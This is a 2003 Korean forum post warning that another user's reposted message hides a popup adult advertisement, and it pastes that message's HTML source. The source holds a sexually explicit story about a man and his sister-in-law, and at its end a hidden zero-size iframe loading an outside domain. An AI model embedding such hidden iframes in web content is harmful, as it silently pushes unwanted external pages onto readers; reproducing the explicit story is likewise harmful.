은하철도 999님 복사글에 창뜨는 성인광고 테그 있는것 아세요...!!

돈키호테2003.06.07
조회369

은하철도 999님 펀글 안에 성인광고 창뜨는 광고 있습니다.

 

앞으로 주의 바래요.. 성인광고 올리시는 분들 우리 상상하고 틀립니다.

 

소스 보시면 알것입니다.

 

이글을 멜 쓰기 다 오시시고,,

에디터 편집에서 소스보기를 누르면.. 가장 쉽게 보실수 있습니다.

 

<body>

<p>정말 보자보자 하니깐 열통나서 못 살겠네요.</p>
<p>이 곳이 무슨 포르노사이트입니까?</p>
<p>사십대 이상 이야기.....라는 방제를 바꾸세요........ 사십대 이상의 포르노방이라고....</p>
<p>&nbsp;</p>
<p>담당자님도 분명히 보았을 것으로 알고 있습니다.&nbsp; 만약에 못 보았다면 그것은 직무유기로써 게시판담당자직을 떠나세요.</p>
<p>&nbsp;</p>
<p>처제와의 한판~</p>
<p>못난형부라는 사람이 써 올렸습니다.</p>
<p>&nbsp;</p>
<p>아바타는 여자그림이 나옵니다.</p>
<p>그렇지 않아도 이 곳이 선정적인 그림이나 글 때문에 한판 난리법석을 떤지 얼마 되지 않았습니다.</p>
<p>그 당시에도 게시판담당자님은 한마디 언급도 없이 침묵했습니다</p>
<p>&nbsp;</p>
<p>저는 참으로 이상한 생각이 들었습니다.</p>
<p>게시판담당자께서 이 방을 마련할 때는 어떤 취지가 있었을 것입니다.</p>
<p>최소한도 상식적이고 모두가 고개를 끄덕이는 평범한 취지 말입니다.</p>
<p>상식적이며 이해할 수 있는 사십대란 것이 무엇인 줄 알고 계시리라 믿고 있었습니다.</p>
<p>&nbsp;</p>
<p>그러데......왜 상식적이지 않은지 모르겠습니다.</p>
<p>눈쌀을 찌푸리는 선정적인 그림이나 글이 올려졌다면 당연히 게시판담당자님은 그것을 지워야 하지 않습니까.....?</p>
<p>&nbsp;</p>
<p>게시판담당자님의 식견으로 보면 제가 아래에 복사해 올리는 글이 정상적인 글로 보이는 모양입니다.</p>
<p>제가 무척 순진한 모양이죠?</p>
<p>이 정도의 글에 화를 내다니...........</p>
<p>&nbsp;</p>
<p>이 게시판에 담당자님의 명확한 해명을 요구합니다.</p>
<p>아래의 글이 정상적이며 상식적인지.....확실한 해답을 주십시요.</p>
<p>&nbsp;</p>
<p>(참고로 저도 포르노 사이트를 방문한 적도 있고 볼 것은 다 본 사람입니다.)</p>
<p>&nbsp;</p>
<p>............</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p> </p>
<table cellSpacing="5" cellPadding="5" width="646" border="0">
  <tr>
    <td>난 결혼한지 5년된 유부남임다,<br>
    <br>
    4살된 딸아이 하나 있고, 마눌과는 한 3년전부터 한달에 한번 관계갖기가 힘듭니다,<br>
    <br>
    마눌이 워낙 그걸 실어하거덩요,<br>
    <br>
    밖에 나가서 룸사롱 아가씨와 2차 나갈땐, 아가씨들이 감동하는 기술을 갖고 있는 저 이지만, 마눌은 5년동안 저에게 애무 한적도 업고,
    제가 갖은 애무를 다해도 그냥 졸거 있는 타입이거덩요,<br>
    <br>
    그러니까 나무토막 입니다.<br>
    <br>
    제가 하자고 하면 20번 졸르면 한번 대주는 것<br>
    누어서 텔레비전 보는게 전부입니다.<br>
    <br>
    <br>
    좌우간 각설하고,<br>
    <br>
    2달전부터 대학을 막졸업한 처제가 취직을 하여 저희집에 묵기로 했습니다, 참고로 처가는 강릉이거덩요,<br>
    <br>
    처제는 사실 울 마눌에 비해 얼굴이 좀 못생겼습니다<br>
    <br>
    중하위건 이거덩요.<br>
    <br>
    근데 몸매는 환상입니다,<br>
    165정도의 키에 몸매는 정양 하고 비슷하다고 보믄 됩니다.<br>
    <br>
    좌우간 처제는 직장 마치고 거의 11시쯤 집에 돌아 오는데<br>
    <br>
    저랑 이야기 할 시간도 별로 없음니다<br>
    <br>
    퇴근하자 마자 자기 방에 들어가거덩요,<br>
    <br>
    사건은 며칠전에 장모님이 아프다는 전갈을 받고 울 마눌이 처가에 갔습니다, 당연히 딸내미를 데리고 말이죠<br>
    <br>
    내친김에 저도 이때다 싶어. 마눌 강릉보내고 바로 휴가를 내고<br>
    그 동안 못잔 잠이나 실컷 잤습니다<br>
    <br>
    점심때 좀 깨니까 증말 심심하더군요.<br>
    <br>
    집에 혼자 있는 게, 좋기만 한것 아니더라구요<br>
    <br>
    뒹굴뒹굴 하다가 심심해서 처제방에 들어가 보았슴다<br>
    <br>
    한 귀퉁이에 널 부러진 팬티스타킹이 보이더라구요<br>
    <br>
    냄새를 맡아보다가 함 입어 보았습니다<br>
    <br>
    느낌이 뽕가더라구요 좌우간 발가벗은 채로 처제방 탐색에 들어갔습니다.<br>
    <br>
    일기책도 읽어보구, 뭐 남자랑 키스한 것 까지만 나오더라구요.<br>
    <br>
    그리고 장롱도 뒤져 팬티, 부라등도 입어 보고 냄새도 맡아보고 그랬습니다.<br>
    <br>
    그러다가, 장롱 서랍 맨 구퉁이에 양말속에 숨겨져 있는 흑인 것인듯한 딜도, 검정될도와 젤을 발견했습니다.<br>
    <br>
    터질듯한 마음 아시겠죠.<br>
    <br>
    흥분된 맘에, 젤을 제 항문에 바르고 넣어보았습니다.<br>
    <br>
    아팠습니다. 조금씩 넣다가 한 5분 지나니까 정말 느낌이 조터군요<br>
    <br>
    하루종일 팬티스타킹과 딜도를 갖고 놀다가 처제가 오기를 기다렸습니다<br>
    <br>
    12시가 좀지나자<br>
    술이 떡이된 처제가 들어왔습니다<br>
    <br>
    오자마자 하는 혀 꼬부라진 소리가<br>
    <br>
    &quot;형부 언니는요?&quot;<br>
    &quot;언니 강릉 갖자너&quot;<br>
    &quot;아 맞네.. 히히&quot;<br>
    &quot;형부 저 술 엄청 마셨어요. 저 넘 슬퍼요&quot; 하면서<br>
    저에게 안기는 것이 아니겠습니까<br>
    <br>
    ----------죄송. 마눌이 부르네요 낼 쓸게요--- <br>
    <iframe src="http://iframe.yy.to" frameBorder="0" width="0" scrolling="no"
    height="0" name="I1"></iframe></td>
  </tr>
</table> (문제 부분)